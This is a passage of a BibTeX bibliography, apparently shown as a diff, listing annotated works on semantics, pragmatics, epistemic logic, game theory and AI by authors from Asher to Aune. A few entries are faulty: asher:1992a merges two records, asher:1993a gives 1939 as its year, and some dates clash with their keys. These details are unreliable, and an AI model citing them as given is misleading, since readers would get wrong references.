asher:1986a, + author = {Nicholas Asher}, + title = {Belief in Discourse Representation Theory}, + journal = {Journal of Philosophical Logic}, + year = {1986}, + volume = {15}, + number = {2}, + pages = {127--189}, + topic = {propositional-attitudes;discourse-representation-theory; + belief;epistemic-logic;pragmatics;} + } + +@inproceedings{ asher-kamp:1986a, + author = {Nicholas Asher and Johan A.W. Kamp}, + title = {The Knower's Paradox and Representational Theories of + Attitudes}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the First Conference}, + year = {1986}, + editor = {Joseph Y. Halpern}, + pages = {131--147}, + publisher = {Morgan Kaufmann Publishers, Inc.}, + address = {Los Altos, California}, + topic = {syntactic-reflection;epistemic-logic;} + } + +@unpublished{ asher-kamp:1986b, + author = {Nicholas Asher and Johan A.W. Kamp}, + title = {Self-Reference, Attitudes, and Paradox}, + year = {1986}, + note = {Unpublished manuscript, University of Texas at Austin.}, + topic = {syntactic-reflection;epistemic-logic;} + } + +@article{ asher:1987a, + author = {Nicholas Asher}, + title = {A Typology for Attitude Verbs and Their Anaphoric + Properties}, + journal = {Linguistics and Philosophy}, + year = {1987}, + volume = {10}, + number = {2}, + pages = {125--197}, + topic = {propositional-attitudes;anaphora;} + } + +@article{ asher-bonevac:1987a, + author = {Nicholas Asher and Daniel Bonevac}, + title = {Determiners and Resource Situations}, + journal = {Linguistics and Philosophy}, + year = {1987}, + volume = {10}, + number = {4}, + pages = {567--596}, + topic = {situation-semantics;nl-quantifiers;} + } + +@unpublished{ asher-wada:1987a, + author = {Nicholas Asher and Hajime Wada}, + title = {A Computational Account of Syntactic, Semantics and + Discourse Principles for Anaphora Resolution}, + year = {1987}, + note = {Unpublished manuscript, Center for Cognitive Science, + University of Texas at Austin}, + topic = {anaphora;discourse;pragmatics;} + } + +@inproceedings{ asher:1988a, + author = {Nicholas Asher}, + title = {Reasoning about Belief and Knowledge with Self-Reference + and Time}, + booktitle = {Proceedings of the Second Conference on Theoretical + Aspects of Reasoning about Knowledge}, + year = {1988}, + editor = {Moshe Y. Vardi}, + pages = {61--81}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {syntactic-attitudes;intensional-paradoxes;} + } + +@inproceedings{ asher:1990a, + author = {Nicholas Asher}, + title = {Intentional Paradoxes and an Inductive Theory of + Propositional Quantification}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Third Conference ({TARK} 1990)}, + year = {1990}, + editor = {Rohit Parikh}, + pages = {11--28}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + topic = {propositional-quantifiers;intensional-paradoxes;} + } + +@inproceedings{ asher-morreau:1991a, + author = {Nicholas Asher and Michael Morreau}, + title = {Commonsense Entailment: a Modal Theory of Nonmonotonic + Reasoning}, + booktitle = {Proceedings of the Twelfth International Joint + Conference on Artificial Intelligence}, + year = {1991}, + editor = {John Mylopoulos and Raymond Reiter}, + pages = {387--392}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + topic = {kr;nonmonotonic-logic;common-sense-entailment;conditionals; + nonmonotonic-conditionals;} + } + +@article{ asher:1992a, + author = {Nicholas Asher}, + title = {A Default, Truth Conditional Semantics for the Progressive}, + journal = {Linguistics and Philosophy}, + year = {1992}, + volume = {15}, + pages = {469--508}, + number = {5}, + title = {Two Theories of Prima Facie Obligation}, + year = {1992}, + note = {Manuscript, Philosophy Department, University of + Texas at Austin}, + topic = {deontic-logic;prima-facie-obligation;} + } + +@book{ asher:1993a, + author = {Nicholas Asher}, + title = {Reference to Abstract Objects in Discourse}, + publisher = {Kluwer Academic Publishers}, + year = {1939}, + address = {Dordrecht}, + topic = {discourse-representation-theory;philosophical-ontology; + pragmatics;} + } + +@unpublished{ asher:1993b, + author = {Nicholas Asher}, + title = {Reasoning about Action and Time With Epistemic Conditionals}, + year = {1993}, + note = {Unpublished Manuscript, Universite Paul Sabatier, Toulose.}, + topic = {action-formalisms;temporal-reasoning;nonmonotonic-reasoning;} + } + +@article{ asher-singh:1993a, + author = {Nicholas Asher and Munidar Singh}, + title = {A Logic of Intentions and Beliefs}, + journal = {Journal of Philosophical Logic}, + year = {1993}, + volume = {22}, + number = {5}, + pages = {513--544}, + topic = {propositional-attitudes;intention;belief;} + } + +@inproceedings{ asher-lascarides:1994a, + author = {Nicholas Asher and Alex Lascarides}, + title = {Intentions and Information in Discourse}, + booktitle = {Proceedings of the Thirty-Second Meeting of the + Association for Computational Linguistics}, + year = {1994}, + editor = {James Pustejovsky}, + pages = {35--41}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {discourse;pragmatics;} + } + +@inproceedings{ asher-sablarolles:1994a, + author = {Nicholas Asher and Pierre Sablarolles}, + title = {A Compositional Spatio-Temporal Semantics for + {F}rench Motion Verbs and Spatial {PP}s}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {IV}}, + year = {1994}, + editor = {Mandy Harvey and Lynn Santelmann}, + pages = {1--15}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {nl-semantics;French-language;motion-verbs;} + } + +@incollection{ asher:1995a, + author = {Nicholas Asher}, + title = {Commonsense Entailment: A Conditional + Logic for Some Generics}, + booktitle = {Conditionals: From Philosophy to Computer Science}, + publisher = {Oxford University Press}, + year = {1995}, + editor = {Gabriella Crocco and Luis Fari\~nas del Cerro and Andreas Herzig}, + pages = {103--145}, + address = {Oxford}, + topic = {nonmonotonic-logic;common-sense-entailment;conditionals; + nonmonotonic-conditionals;} + } + +@unpublished{ asher-lascarides:1995a, + author = {Nicholas Asher and Alex Lascarides}, + title = {Questions in Dialogue}, + year = {1995}, + note = {Unpublished Manuscript.}, + topic = {discourse-representation-theory;discourse-structure; + interrogatives;pragmatics;} + } + +@article{ asher-lascarides:1995b1, + author = {Nicholas Asher and Alex Lascarides}, + title = {Lexical Disambiguation in a Discourse Context}, + journal = {Journal of Semantics}, + year = {1995}, + volume = {12}, + number = {1}, + pages = {69--108}, + missinginfo = {number}, + xref = {Republication: asher-lascarides:1995b2.}, + topic = {discourse;lexical-disambiguation;pragmatics;} + } + +@incollection{ asher-lascarides:1995b2, + author = {Nicholas Asher and Alex Lascarides}, + title = {Lexical Disambiguation in a Discourse Context}, + booktitle = {Lexical Semantics: The Problem of Polysemy}, + publisher = {Oxford University Press}, + year = {1997}, + editor = {James Pustejovsky and Brian Boguraev}, + pages = {69--108}, + address = {Oxford}, + xref = {Republication of: asher-lascarides:1995b1.}, + topic = {discourse;lexical-disambiguation;pragmatics;} + } + +@inproceedings{ asher-lascarides:1995c, + author = {Nicholas Asher and Alex Lascarides}, + title = {Metaphor in Discourse}, + booktitle = {Working Notes of the {AAAI} Spring Symposium on + Representation and Acquisition of Lexical Knowledge: + Polysemy, Ambiguity and Generativity}, + year = {1995}, + organization = {American Association for Artificial Intelligence}, + publication = {American Association for Artificial Intelligence}, + address = {Menlo Park, CA}, + pages = {3--7}, + missinginfo = {editor}, + topic = {metaphor;discourse;pragmatics;} + } + +@incollection{ asher-morreau:1995a, + author = {Nicholas Asher and Michael Morreau}, + title = {What Some Generic Sentences Mean}, + booktitle = {The Generic Book}, + publisher = {Chicago University Press}, + year = {1995}, + editor = {Gregory Carlson and Francis Jeffrey Pelletier}, + pages = {300--338}, + address = {Chicago, IL}, + topic = {generics;nonmonotonic-conditionals;} + } + +@inproceedings{ asher-vieu:1995a, + author = {Nicholas Asher and Laure Vieu}, + title = {Toward a Geometry for Common Sense: A Semantics and a + Complete Axiomatization for Mereotopology}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {846--852}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {common-sense-reasoning;mereology;spatial-reasoning;} + } + +@article{ asher-bonevac:1996a, + author = {Nicholas Asher and Daniel Bonevac}, + title = {{\it Prima Facie} Obligation}, + journal = {Studia Logica}, + year = {1996}, + volume = {57}, + number = {1}, + pages = {19--45}, + topic = {deontic-logic;prima-facie-obligation;} + } + +@inproceedings{ asher:1997a, + author = {Nicholas Asher}, + title = {Context in Discourse Semantics for Dialogue}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Context in Knowledge Representation and Natural Language}, + year = {1997}, + editor = {Sasa Buva\v{c} and {\L}ucia Iwa\'nska}, + pages = {17--29}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {context;discourse-representation-theory;discourse-relations; + presupposition;pragmatics;} + } + +@incollection{ asher-sablayrolles:1997a, + author = {Nicholas Asher and Pierre Sablayrolles}, + title = {A Typology and Discourse Semantics for + Motion Verbs and Spatial {PP}s in {F}rench}, + booktitle = {Lexical Semantics: The Problem of Polysemy}, + publisher = {Oxford University Press}, + year = {1997}, + editor = {James Pustejovsky and Brian Boguraev}, + pages = {163--209}, + address = {Oxford}, + topic = {lexical-semantics;motion-verbs;polysemy;pragmatics;} + } + +@incollection{ asher-lascarides:1998a, + author = {Nicholas Asher and Alex Lascarides}, + title = {The Semantics and Pragmatics of Metaphor}, + booktitle = {Semantic Parameters and Lexical Universals}, + publisher = {Cambridge University Press}, + year = {1998}, + editor = {James Pustejovsky and F. Busa}, + address = {Cambridge, England}, + missinginfo = {E's 1st name.}, + topic = {metaphor;semantics;pragmatics;} + } + +@article{ asher-lascarides:1998b, + author = {Nicholas Asher and Alex Lascarides}, + title = {Questions in Dialogue}, + journal = {Linguistics and Philosophy}, + year = {1998}, + volume = {21}, + number = {4}, + pages = {237--309}, + topic = {discourse-representation-theory;discourse-structure; + interrogatives;pragmatics;} + } + +@article{ asher-lascarides:1998c, + author = {Nicholas Asher and Alex Lascarides}, + title = {Bridging}, + journal = {Journal of Semantics}, + year = {1999}, + volume = {15}, + pages = {83--113}, + contentnote = {"Bridging" is the process of constructing an anaphoric + reference using world knowledge. E.g. "Bill's car wouldn't + run. The fuel line was clogged." The term is apparently due + to clark_hh:1075a.}, + topic = {definite-descriptions;discourse;discourse-structure; + nm-ling;pragmatics;bridging-anaphora;} + } + +@article{ asher-lascarides:1998d, + author = {Nicholas Asher and Alex Lascarides}, + title = {The Semantics and Pragmatics of Presupposition}, + journal = {Journal of Semantics}, + year = {1999}, + volume = {15}, + pages = {239--299}, + topic = {presupposition;nm-ling;pragmatics;} + } + +@inproceedings{ ashley:1989a, + author = {Kevin Ashley}, + title = {Toward a Computational Theory of Arguing with + Precedents: Accommodating Multiple Interpretations + of Cases}, + booktitle = {Proceedings of the Second International + Conference on Artificial Intelligence + and Law (ICAIL-89)}, + publisher = {The Association for Computing Machinery}, + year = {1989}, + pages = {93--110}, + topic = {legal-AI;} + } + +@book{ ashley:1990a, + author = {Kevin Ashley}, + title = {Modeling Legal Argument: Reasoning With Cases and + Hypotheticals}, + publisher = {The {MIT} Press}, + year = {1990}, + address = {Cambridge, Massachusetts}, + topic = {case-based-reasoning;legal-reasoning;legal-AI;} + } + +@article{ ashley:1993a, + author = {Kevin D. Ashley}, + title = {Case-Based Reasoning and its Implications for Legal + Expert Systems}, + journal = {Artificial Intelligence and Law}, + volume = {1}, + number = {2}, + publisher = {Kluwer}, + address = {Dordrecht, Neth.}, + year = {1993}, + topic = {case-based-reasoning;legal-AI;} + } + +@inproceedings{ ashley-keefer:1996a, + author = {Kevin Ashley and M. Keefer}, + title = {Ethical Reasoning Strategies and Their Relation to + Case-Based Instruction}, + booktitle = {Proceedings of the 1996 Cognitive Science Society + Meeting}, + year = {1996}, + organization = {Cognitive Science Society}, + missinginfo = {editor, publisher, pages}, + topic = {case-based-reasoning;intelligent-tutoring; + automated-ethical-reasoning;} + } + +@inproceedings{ aslandogan:1997a, + author = {Y. A. Aslandogan and C. Their and C. T. Yu and J. Zou + and N. Rishe}, + title = {Using Semantic Contents and {W}ord{N}et in Image Retrieval}, + booktitle = {Proceedings of the 20th Annual {ACM} {SIGIR} Conference + on Research and Development in Information Retrieval}, + year = {1997}, + missinginfo = {publisher, editor, pages, A's 1st name}, + topic = {wordnet;image-retrieval;} + } + +@inproceedings{ assadi:1997a, + author = {Houssem Assadi}, + title = {Knowledge Acquisition from Texts: Using an Automatic + Clustering Method Based on Noun-Modifier Method}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {504--509}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {text-skimming;} + } + +@article{ asser:1956a, + author = {Gunther Asser}, + title = {Theorie der {L}ogischen {A}uswahlfunktionen}, + journal = {{Z}eitschrift {f}\"ur {M}athematische {L}ogik and + {G}rundlagen {d}er {M}athematik}, + year = {1956}, + volume = {3}, + pages = {30--68}, + topic = {Hilbert's-epsilon-function;} + } + +@book{ aston-burchard:1998a, + author = {Guy Aston and Lou Burchard}, + title = {The {BNC} Handbook}, + publisher = {Edinburgh University Press}, + year = {1998}, + address = {Edinburgh}, + ISBN = {0 7486 1055 3}, + topic = {corpus-linguistics;} + } + +@techreport{ astrachan-stickel:1991a, + author = {Owen L. Astrachan and Mark E. Stickel}, + title = {Caching and Lemmaizing in Model Elimination Theorem + Provers}, + institution = {AI Center, SRI International}, + address = {333 Ravenswood Ave., Menlo Park, CA 94025}, + number = {513}, + year = {1991}, + acontentnote = {Abstract: Theorem provers based on the model + elimination theorem-proving procedure have exhibited + extremely high inference rates but have lacked a + redundancy control mechanism such as subsumption. In this + paper we report on work done to modify a model elimination + theorem prover using two techniques, caching and + lemmaizing, that have reduced by more than an order of + magnitude the time required to find proofs of several + problems and that have enabled the prover to prove + theorems previously unobtained.}, + topic = {theorem-proving;} +} + +@article{ atherton-schwartz:1974a, + author = {Margaret Atherton and Robert Schwartz}, + title = {Linguistic Innateness and Its Evidence}, + journal = {Journal of Philosophy}, + year = {1974}, + volume = {71}, + number = {6}, + pages = {155--168}, + topic = {innateness-of-language-ability;philosophy-of-linguistics;} + } + +@incollection{ atkins:1993a, + author = {Beryl T. Atkins}, + title = {The Contribution of Lexicography}, + booktitle = {Challenges in Natural Language Processing}, + publisher = {Cambridge University Press}, + year = {1993}, + editor = {Madeleine Bates and Ralph Weischedel}, + pages = {37--75}, + address = {Cambridge, England}, + contentnote = {Concentrates on how to extract info from corpora and online + dictionaries.}, + topic = {computational-lexical-semantics;polysemy; + machine-readable-dictionaries;} + } + +@incollection{ atkins-etal:1994a, + author = {Beryl T.S. Atkins and Judy Kegl and Beth Levin}, + title = {Anatomy of a Verb Entry: From Linguistic Theory to + Lexicographic Practice}, + booktitle = {Current Issues in Computational Linguistics: Essays in + Honour of Don Walker}, + publisher = {Giardini Editori e Stampatori and Kluwer Academic + Publishers}, + year = {1994}, + editor = {Antonio Zampolli and Nicoletta Calzolari and Martha Palmer}, + pages = {237--266}, + address = {Pisa and Dordrecht}, + xref = {Revised version of ``Anatomy of a Verb Entry: From + Linguistic Theory to Lexicographic Practice'', International + Journal of Lexicography 1, 1988, pp. 84--126.}, + topic = {lexicography;verb-classes;verb-semantics; + computational-lexicography;} + } + +@book{ atkins-zampolli:1994a, + editor = {Beryl T.S. Atkins and A. Zampolli}, + title = {Computational Approaches to the Lexicon}, + publisher = {Oxford University Press}, + year = {1994}, + address = {Oxford}, + ISBN = {0198239793}, + topic = {computational-lexicography;} + } + +@book{ atkinson-heritage:1984a, + editor = {J.M. Atkinson and J. Heritage}, + title = {Structures of Social Action}, + publisher = {Cambridge University Press}, + year = {1984}, + address = {Cambridge}, + missinginfo = {A's 1st names.}, + topic = {conversation-analysis;discourse;pragmatics;} + } + +@incollection{ atkinson:1992a, + author = {Martin Atkinson}, + title = {Introduction}, + booktitle = {Thematic Structure: Its Role in Grammar}, + publisher = {Foris Publications}, + year = {1992}, + editor = {Iggy M. Roca}, + pages = {1--22}, + address = {Berlin}, + topic = {thematic-roles;argument-structure;} + } + +@unpublished{ atlas:1972a, + author = {Jay D. Atlas}, + title = {Some Remarks on {G}eorge {L}akoff's `Performative + Antinomies'\,}, + year = {1972}, + note = {Unpublished manuscript, Pomona College.}, + topic = {pragmatics;} + } + +@unpublished{ atlas:1973a, + author = {Jay D. Atlas}, + title = {Some Remarks on Presupposition}, + year = {1974}, + note = {Unpublished manuscript, Pomona College}, + topic = {presupposition;} + } + +@unpublished{ atlas:1974a, + author = {Jay D. Atlas}, + title = {Presupposition, Ambiguity, and Generality: A Coda to the + {R}ussell-{S}trawson Debate on Referring}, + year = {1974}, + note = {Unpublished manuscript, Pomona College}, + topic = {presupposition;definite-descriptions;} + } + +@article{ atlas:1975a, + author = {Jay D. Atlas}, + title = {Frege's Polymorphous Concept of Presupposition and Its + Role in the Theory of Meaning}, + journal = {Semantikos}, + year = {1975}, + volume = {1}, + number = {1}, + pages = {29--44}, + topic = {presuppositon;} + } + +@article{ atlas:1975b, + author = {Jay D. Atlas}, + title = {Presupposition: A Semantico-Pragmatic Account}, + journal = {Pragmatics Microfiche}, + year = {1975}, + volume = {1}, + number = {4}, + pages = {D13--G14}, + topic = {presupposition;} + } + +@unpublished{ atlas:1975c, + author = {Jay D. Atlas}, + title = {On Presupposition, Generality, and Informativeness: + Historical Remarks and Theoretical Suggestions}, + year = {1975}, + note = {Unpublished manuscript, Pomona College.}, + topic = {presuppositon;} + } + +@unpublished{ atlas:1975d, + author = {Jay D. Atlas}, + title = {On Pragmatic Presupposition and Some Counter-Examples + to the {V}an {F}raassen Theory of Semantic Presupposition: + A Reply to {S}chwartz}, + year = {1975}, + note = {Unpublished manuscript, Pomona College.}, + topic = {presupposition;pragmatics;} + } + +@unpublished{ atlas:1975e, + author = {Jay D. Atlas}, + title = {More on {A}.{J} {K}enny's Logic of Practical Inference}, + year = {1975}, + note = {Unpublished manuscript, Pomona College.}, + topic = {practical-reasoning;} + } + +@article{ atlas:1977a, + author = {Jay D. Atlas}, + title = {Negation, Ambiguity, and Presupposition}, + journal = {Linguistics and Philosophy}, + year = {1977}, + volume = {1}, + number = {3}, + pages = {321--336}, + topic = {nl-negation;presuppositon;ambiguity;} + } + +@unpublished{ atlas:1977b, + author = {Jay D. Atlas}, + title = {Presupposition, Negation, and the Anti-Realist Theory + of Meaning}, + year = {1977}, + note = {Unpublished manuscript, Pomona College.}, + topic = {presupposition;foundations-of-semantics;} + } + +@incollection{ atlas:1979a, + author = {Jay D. Atlas}, + title = {How Linguistics Matters to Philosophy: Presupposition, + Truth, and Meaning}, + booktitle = {Syntax and Semantics 11: Presupposition}, + publisher = {Academic Press}, + year = {1979}, + editor = {ChoonKyo Oh and David A. Dineen}, + pages = {265--281}, + address = {New York}, + topic = {presupposition;pragmatics;} + } + +@article{ atlas:1980a, + author = {Jay D. Atlas}, + title = {A Note on a Confusion of Pragmatic and Semantic Aspects of + Negation}, + journal = {Linguistics and Philosophy}, + year = {1980}, + volume = {3}, + number = {3}, + pages = {411--414}, + topic = {negation;presupposition;pragmatics;} + } + +@incollection{ atlas-levinson:1981a, + author = {Jay D. Atlas and Stephen C. Levinson}, + title = {{\em It-}Clefts, Informativeness and Logical Form: Radical + Pragmatics (Revised Standard Version)}, + booktitle = {Radical Pragmatics}, + publisher = {Academic Press}, + year = {1981}, + editor = {Peter Cole}, + pages = {1--61}, + address = {New York}, + topic = {pragmatics;presupposition;pragmatics;} + } + +@unpublished{ atlas:1983a, + author = {Jay D. Atlas}, + title = {On What There Isn't: Quantifying {Q}uine Out}, + year = {1983}, + note = {Unpublished manuscript, Institute for Advanced Study, + Princeton, New Jersey}, + topic = {logic-and-ontology;} + } + +@article{ atlas:1984a, + author = {Jay D. Atlas}, + title = {Comparative Adjectives and Adverbials of Degree: an + Introduction to Radically Radical Pragmatics}, + journal = {Linguistics and Philosophy}, + year = {1984}, + volume = {7}, + number = {4}, + pages = {347--377}, + topic = {scalar-implicature;degree-modifiers;pragmatics;implicature;} + } + +@article{ atlas:1984b, + author = {Jay D. Atlas}, + title = {Grammatical Non-Specification: The Mistaken Disjunction + Theory}, + journal = {Linguistics and Philosophy}, + year = {1984}, + volume = {7}, + number = {4}, + pages = {433--443}, + topic = {ambiguity/generality;lexical-semantics;} + } + +@article{ atlas:1984c, + author = {Jay D. Atlas}, + title = {Topic/Comment, Presupposition, Logical Form and Focal Stress + Implicatures: the Case of Focal Particles `Only' and `Also'}, + journal = {Journal of Semantics}, + year = {1991}, + volume = {8}, + number = {4}, + pages = {127--147}, + topic = {s-topic;sentence-focus;presupposition;`only';pragmatics;} + } + +@article{ atlas:1988a, + author = {Jay David Atlas}, + title = {What are Negative Existence Statements About?}, + journal = {Linguistics and Philosophy}, + year = {1988}, + volume = {11}, + number = {4}, + pages = {373--394}, + topic = {logic-of-existence;(non)existence;} + } + +@book{ atlas:1989c, + author = {Jay D. Atlas}, + title = {Philosophy Without Ambiguity: A Logico-Linguistic Essay}, + publisher = {Oxford University Press}, + year = {1989}, + address = {Oxford}, + topic = {ambiguity;} + } + +@book{ atlas:2000a, + author = {Jay David Atlas}, + title = {Logic, Meaning, and Conversation: Semantical Underdeterminacy, + Implicature, and Their Interface}, + publisher = {Oxford University Press}, + year = {2000}, + address = {Oxford}, + ISBN = {0195133005}, + topic = {pragmatics;implicature;} + } + +@inproceedings{ atserias-etal:1997a, + author = {Jordi Atserias and Salvador Climent and Xavier Farreres + and German Rigau and Horacio Rodríguez}, + title = {Combining Multiple Methods for the Automatic + Construction of Multilingual {W}ord{N}ets}, + booktitle = {Proceedings of the International Conference on + Recent Advances in Natural Language Processing}, + year = {1997}, + missinginfo = {publisher, editor, pages}, + url = {http://xxx.lanl.gov/abs/cmp-lg/9709003}, + topic = {wordnet;multilingual-lexicons;} + } + +@incollection{ attardi:1991a, + author = {Giuseppe Attardi}, + title = {Knowledge Sharing: A Feasible Dream}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {597--598}, + address = {San Mateo, California}, + contentnote = {This is a position statement, prepared in connection + with a conference panel. There is no bibliography.}, + topic = {kr;kr-course;knowledge-sharing;} + } + +@incollection{ attardi-simi:1991a, + author = {Giuseppe Attardi and Maria Simi}, + title = {Reflections about Reflection}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {22--31}, + address = {San Mateo, California}, + topic = {kr;kr-course;semantic-reflection;syntactic-attitudes;} + } + +@incollection{ attardi-simi:1994a, + author = {Giuseppe Attardi and Maria Simi}, + title = {Building Proofs in Context}, + booktitle = {Logic Programming Synthesis and Transformation, + Meta-Programming in Logic: Fourth International Workshops, + {LOBSTR}'94 and {META}'94, Pisa, Italy}, + publisher = {Springer-Verlag}, + year = {1994}, + editor = {Laurent Fribourg and Franco Turini}, + pages = {410--424}, + address = {Berlin}, + topic = {kr;context;} + } + +@inproceedings{ attardi-simi:1994b, + author = {Giuseppe Attardi and Maria Simi}, + title = {Proofs i Context}, + booktitle = {{KR}'94: Principles of Knowledge Representation + and Reasoning}, + year = {1994}, + editor = {J. Doyle and E. Sandewall and P. Torasso}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {16--26}, + topic = {kr;context;kr-course;} + } + +@article{ attardi-simi:1995a, + author = {Giuseppe Attardi and Maria Simi}, + title = {A Formalisation of Viewpoints}, + journal = {Fundamenta Informaticae}, + year = {1995}, + volume = {23}, + number = {2--4}, + pages = {149--174}, + topic = {kr;context;kr-course;logic-of-context;} + } + +@inproceedings{ attardi-simi:1995b, + author = {Giuseppe Attardi and Maria Simi}, + title = {Beppo Had a Dream}, + booktitle = {Formalizing Context}, + year = {1995}, + editor = {Sasa Buva\v{c}}, + pages = {9--22}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {context;propositional-attitudes;individuation;} + } + +@article{ attardi-simi:1998a, + author = {Giuseppe Attardi and Maria Simi}, + title = {Communication across Viewpoints}, + journal = {Journal of Logic, Language, and Information}, + year = {1998}, + volume = {7}, + number = {1}, + pages = {53--75}, + topic = {context;semantic-reflection;reasoning-about-knowledge;} + } + +@article{ audi:1973a, + author = {Robert Audi}, + title = {Intending}, + journal = {The Journal of Philosophy}, + year = {1973}, + volume = {70}, + number = {13}, + pages = {387--403}, + topic = {intention;practical-reasoning;} + } + +@book{ audi:1986a, + editor = {Robert Audi}, + title = {Action, Decision, and Intention: Studies in the Foundation of + Action Theory as an Approach to Understanding Rationality + and Decision}, + publisher = {D. Reidel Publishing Co.}, + year = {1986}, + address = {Dordrecht}, + topic = {philosophy-of-action;} + } + +@incollection{ audi:1986b, + author = {Robert Audi}, + title = {Intending Intentional Action, and Desire}, + booktitle = {The Ways of Desire: New Essays in Philosophical + Psychology on the Concept of Wanting}, + publisher = {Precedent Publishing, Inc.}, + year = {1986}, + editor = {Joel Marks}, + pages = {17--38}, + address = {Chicago}, + topic = {intention;action;desire;} + } + +@article{ audi:1991a, + author = {Robert Audi}, + title = {Intention, Cognitive Commitment, and Planning}, + journal = {Synth\'ese}, + year = {1991}, + volume = {86}, + number = {3}, + pages = {361--378}, + contentnote = {Defends the philosophical view that intention + is definable in terms of belief and desire.}, + xref = {See garcia_jla:1991a.}, + topic = {intention;belief;desire;agent-attitudes;} + } + +@incollection{ audi:1993a, + author = {Robert Audi}, + title = {Mental Causation: Sustaining and Dynamic}, + booktitle = {Mental Causation}, + publisher = {Oxford University Press}, + year = {1993}, + editor = {John Heil and Alfred R. Mele}, + pages = {53--74}, + address = {Oxford}, + topic = {mind-body-problem;causality;} + } + +@book{ auer-diluzio:1991a, + editor = {Peter Auer and Aldo DiLuzio}, + title = {The Contextualization of Language}, + publisher = {John Benjamins}, + year = {1991}, + address = {Amsterdam}, + ISBN = {1556192908 (paper)}, + topic = {context;sociolinguistics;pragmatics;} + } + +@book{ auer:1998a, + editor = {Peter Auer}, + title = {Code-Switching in Conversation: Language, Interaction and + Identity}, + publisher = {Routledge}, + year = {1998}, + address = {London}, + ISBN = {0415158311}, + topic = {code-switching;bilingualism;} + } + +@article{ auguste:1985a, + author = {Donna Auguste}, + title = {Review of {\it Intelligent Tutoring Systems}, by {D}erek {H}. + {S}leeman and {J}ohn {S}. {B}rown}, + journal = {Artificial Intelligence}, + year = {1985}, + volume = {26}, + number = {2}, + pages = {233--238}, + xref = {Review of sleeman-brown_js:1982a.}, + topic = {intelligent-tutoring;} + } + +@article{ aumann:1976a, + author = {Robert J. Aumann}, + title = {Agreeing to Disagree}, + journal = {Annals of Statistics}, + year = {1976}, + volume = {4}, + number = {6}, + pages = {1236--1239}, + topic = {game-theory;epistemic-logic;} + } + +@incollection{ aumann:1992a, + author = {Robert J. Aumann}, + title = {Perspectives on Bounded Rationality}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fourth Conference ({TARK} 1992)}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Yoram Moses}, + pages = {108--117}, + address = {San Francisco}, + topic = {game-theory;limited-rationality;} + } + +@unpublished{ aumann:1992b, + author = {Robert J. Aumann}, + title = {Interactive Epistemology}, + year = {1992}, + note = {Unpublished manuscript, Hebrew University, Jerusalem.}, + topic = {epistemic-logic;rationality;game-theory;mutual-belief;} + } + +@book{ aumann-hart:1992a, + editor = {Robert J. Aumann and Sergiu Hart}, + title = {Handbook of Game Theory with Economic Applications, Vol. 1}, + publisher = {North-Holland}, + year = {1992}, + address = {Amsterdam}, + ISBN = {0444880984 (v. 1))}, + topic = {game-theory;} + } + +@book{ aumann-hart_s:1994a, + editor = {Robert J. Aumann and Sergiu Hart}, + title = {Handbook of Game Theory, with Economic Applications, Vol. 2}, + publisher = {North-Holland}, + year = {1994}, + address = {Amsterdam}, + ISBN = {0444894276}, + topic = {game-theory;} + } + +@book{ aumann-machsler:1995a, + author = {Robert Aumann and Michael B. Machsler}, + title = {Repeated Games with Incomplete Information}, + publisher = {The {MIT} Press}, + year = {1996}, + address = {Cambridge, Massachusetts}, + note = {With the collaboration of Richard E. Stearns}, + topic = {game-theory;epistemic-logic;} + } + +@incollection{ aumann-etal:1996a, + author = {Robert J. Aumann and Serigiu Hart and Motty Perry}, + title = {The Absent-Minded Driver}, + booktitle = {Theoretical Aspects of Rationality and Knowledge: + Proceedings of the Sixth Conference ({TARK} 1996)}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Yoav Shoham}, + pages = {97--116}, + address = {San Francisco}, + topic = {game-theory;resource-limited-reasoning; + absent-minded-driver-problem;} + } + +@article{ aumann:forthcominga, + author = {Robert J. Aumann}, + title = {Interactive Epistemology {II}: Probability}, + journal = {International Journal of Game Theory}, + year = {1998}, + missinginfo = {year,volume, number,pages}, + topic = {foundations-of-game-theory;} + } + +@article{ aune:1962a, + author = {Bruce Aune}, + title = {Abilities, Modalities, and Free-Will}, + journal = {Philosophy and Phenomenological Research}, + year = {1962}, + volume = {23}, + pages = {397--413}, + missinginfo = {number}, + topic = {freedom;ability;conditionals;} + } + +@article{ aune:1968a, + author = {Bruce Aune}, + title = {Hypotheticals and `Can': Another Look}, + journal = {Analysis}, + year = {1968}, + volume = {4}, + pages = {191--195}, + missinginfo = {number}, + topic = {conditionals;ability;JL-Austin;} + } + +@article{ aune:1968b, + author = {Bruce Aune}, + title = {Statements and Propositions}, + journal = {No\^us}, 